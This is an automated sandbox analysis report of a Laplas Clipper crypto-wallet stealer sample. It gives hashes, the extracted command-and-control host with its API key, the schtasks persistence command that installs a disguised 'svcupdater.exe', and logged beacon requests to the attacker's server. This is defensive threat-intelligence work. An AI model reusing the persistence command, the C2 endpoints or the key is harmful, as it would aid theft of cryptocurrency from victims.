Resubmissions

24-11-2022 16:34

221124-t26x4sfd96 10

03-11-2022 08:46

221103-kpa58sagaj 8

Analysis

  • max time kernel
    145s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-11-2022 16:34

General

  • Target

    80750ddfb5cfe9eb8e2adac60f372534.exe

  • Size

    4.8MB

  • MD5

    80750ddfb5cfe9eb8e2adac60f372534

  • SHA1

    a720efe2b3ef7735efd77de698a5576b36068d07

  • SHA256

    876e6f8cecf5d23d21e11a3a459357c763807614ba7d4ecee9c0537b5936da04

  • SHA512

    bf4100fc99282c91ec03c8c234d320321e21e5e4120c45c2cd5cfeaffcf07d4e67143e61407b570448bea16b44ed0bf7ad720e61ca2ae5d30d804c5fc8266d6f

  • SSDEEP

    49152:RAM2vrGxtRJHHc1RmqAhaShRgdGMYYqWxvdTBB0IEqYjla27EdS5g+A:mMgGxtU1RmqA3xsquvPEdZi+A

Score
10/10

Malware Config

Extracted

Family

laplas

C2

clipper.guru

Attributes
  • api_key

    f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7

Signatures

  • Laplas Clipper

    Laplas is a crypto wallet stealer with two variants written in Golang and C#.

  • Executes dropped EXE 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\80750ddfb5cfe9eb8e2adac60f372534.exe
    "C:\Users\Admin\AppData\Local\Temp\80750ddfb5cfe9eb8e2adac60f372534.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:952
    • C:\Windows\system32\cmd.exe
      cmd.exe "/C schtasks /create /tn \kBqZwNWVQe /tr \"C:\Users\Admin\AppData\Roaming\kBqZwNWVQe\svcupdater.exe\" /st 00:00 /du 9999:59 /sc once /ri 1 /f"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2544
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \kBqZwNWVQe /tr \"C:\Users\Admin\AppData\Roaming\kBqZwNWVQe\svcupdater.exe\" /st 00:00 /du 9999:59 /sc once /ri 1 /f"
        3⤵
        • Creates scheduled task(s)
        PID:2072
  • C:\Users\Admin\AppData\Roaming\kBqZwNWVQe\svcupdater.exe
    C:\Users\Admin\AppData\Roaming\kBqZwNWVQe\svcupdater.exe
    1⤵
    • Executes dropped EXE
    PID:4672

Network

  • flag-unknown
    DNS
    clipper.guru
    svcupdater.exe
    Remote address:
    8.8.8.8:53
    Request
    clipper.guru
    IN A
    Response
    clipper.guru
    IN A
    45.159.189.115
  • flag-unknown
    GET
    http://clipper.guru/bot/online?guid=GBQHURCC\Admin&key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7
    svcupdater.exe
    Remote address:
    45.159.189.115:80
    Request
    GET /bot/online?guid=GBQHURCC\Admin&key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7 HTTP/1.1
    Host: clipper.guru
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Thu, 24 Nov 2022 16:35:07 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 2
    Connection: keep-alive
  • flag-unknown
    GET
    http://clipper.guru/bot/regex?key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7
    svcupdater.exe
    Remote address:
    45.159.189.115:80
    Request
    GET /bot/regex?key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7 HTTP/1.1
    Host: clipper.guru
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Thu, 24 Nov 2022 16:35:07 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 709
    Connection: keep-alive
  • flag-unknown
    GET
    http://clipper.guru/bot/online?guid=GBQHURCC\Admin&key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7
    svcupdater.exe
    Remote address:
    45.159.189.115:80
    Request
    GET /bot/online?guid=GBQHURCC\Admin&key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7 HTTP/1.1
    Host: clipper.guru
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Thu, 24 Nov 2022 16:36:08 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 2
    Connection: keep-alive
  • flag-unknown
    GET
    http://clipper.guru/bot/regex?key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7
    svcupdater.exe
    Remote address:
    45.159.189.115:80
    Request
    GET /bot/regex?key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7 HTTP/1.1
    Host: clipper.guru
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Thu, 24 Nov 2022 16:36:08 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 709
    Connection: keep-alive
  • flag-unknown
    GET
    http://clipper.guru/bot/online?guid=GBQHURCC\Admin&key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7
    svcupdater.exe
    Remote address:
    45.159.189.115:80
    Request
    GET /bot/online?guid=GBQHURCC\Admin&key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7 HTTP/1.1
    Host: clipper.guru
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Thu, 24 Nov 2022 16:37:09 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 2
    Connection: keep-alive
  • flag-unknown
    GET
    http://clipper.guru/bot/regex?key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7
    svcupdater.exe
    Remote address:
    45.159.189.115:80
    Request
    GET /bot/regex?key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7 HTTP/1.1
    Host: clipper.guru
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Thu, 24 Nov 2022 16:37:09 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 709
    Connection: keep-alive
  • flag-unknown
    DNS
    151.122.125.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    151.122.125.40.in-addr.arpa
    IN PTR
    Response
  • flag-unknown
    DNS
    9.9.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.0.3.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa
    Remote address:
    8.8.8.8:53
    Request
    9.9.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.0.3.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa
    IN PTR
    Response
  • 93.184.221.240:80
    104 B
    2
  • 209.197.3.8:80
    322 B
    7
  • 93.184.221.240:80
    260 B
    5
  • 45.159.189.115:80
    http://clipper.guru/bot/regex?key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7
    http
    svcupdater.exe
    1.7kB
    3.7kB
    15
    14

    HTTP Request

    GET http://clipper.guru/bot/online?guid=GBQHURCC\Admin&key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7

    HTTP Response

    200

    HTTP Request

    GET http://clipper.guru/bot/regex?key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7

    HTTP Response

    200

    HTTP Request

    GET http://clipper.guru/bot/online?guid=GBQHURCC\Admin&key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7

    HTTP Response

    200

    HTTP Request

    GET http://clipper.guru/bot/regex?key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7

    HTTP Response

    200

    HTTP Request

    GET http://clipper.guru/bot/online?guid=GBQHURCC\Admin&key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7

    HTTP Response

    200

    HTTP Request

    GET http://clipper.guru/bot/regex?key=f0cd0c3938331a84425c6e784f577ccd87bb667cfdb44cc24f97f402ac5e15b7

    HTTP Response

    200
  • 20.189.173.14:443
    322 B
    7
  • 93.184.221.240:80
    322 B
    7
  • 93.184.221.240:80
    322 B
    7
  • 8.8.8.8:53
    clipper.guru
    dns
    svcupdater.exe
    58 B
    74 B
    1
    1

    DNS Request

    clipper.guru

    DNS Response

    45.159.189.115

  • 8.8.8.8:53
    151.122.125.40.in-addr.arpa
    dns
    73 B
    159 B
    1
    1

    DNS Request

    151.122.125.40.in-addr.arpa

  • 8.8.8.8:53
    9.9.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.0.3.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa
    dns
    118 B
    204 B
    1
    1

    DNS Request

    9.9.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.0.3.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\kBqZwNWVQe\svcupdater.exe

    Filesize

    4.8MB

    MD5

    80750ddfb5cfe9eb8e2adac60f372534

    SHA1

    a720efe2b3ef7735efd77de698a5576b36068d07

    SHA256

    876e6f8cecf5d23d21e11a3a459357c763807614ba7d4ecee9c0537b5936da04

    SHA512

    bf4100fc99282c91ec03c8c234d320321e21e5e4120c45c2cd5cfeaffcf07d4e67143e61407b570448bea16b44ed0bf7ad720e61ca2ae5d30d804c5fc8266d6f

  • C:\Users\Admin\AppData\Roaming\kBqZwNWVQe\svcupdater.exe

    Filesize

    4.8MB

    MD5

    80750ddfb5cfe9eb8e2adac60f372534

    SHA1

    a720efe2b3ef7735efd77de698a5576b36068d07

    SHA256

    876e6f8cecf5d23d21e11a3a459357c763807614ba7d4ecee9c0537b5936da04

    SHA512

    bf4100fc99282c91ec03c8c234d320321e21e5e4120c45c2cd5cfeaffcf07d4e67143e61407b570448bea16b44ed0bf7ad720e61ca2ae5d30d804c5fc8266d6f

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.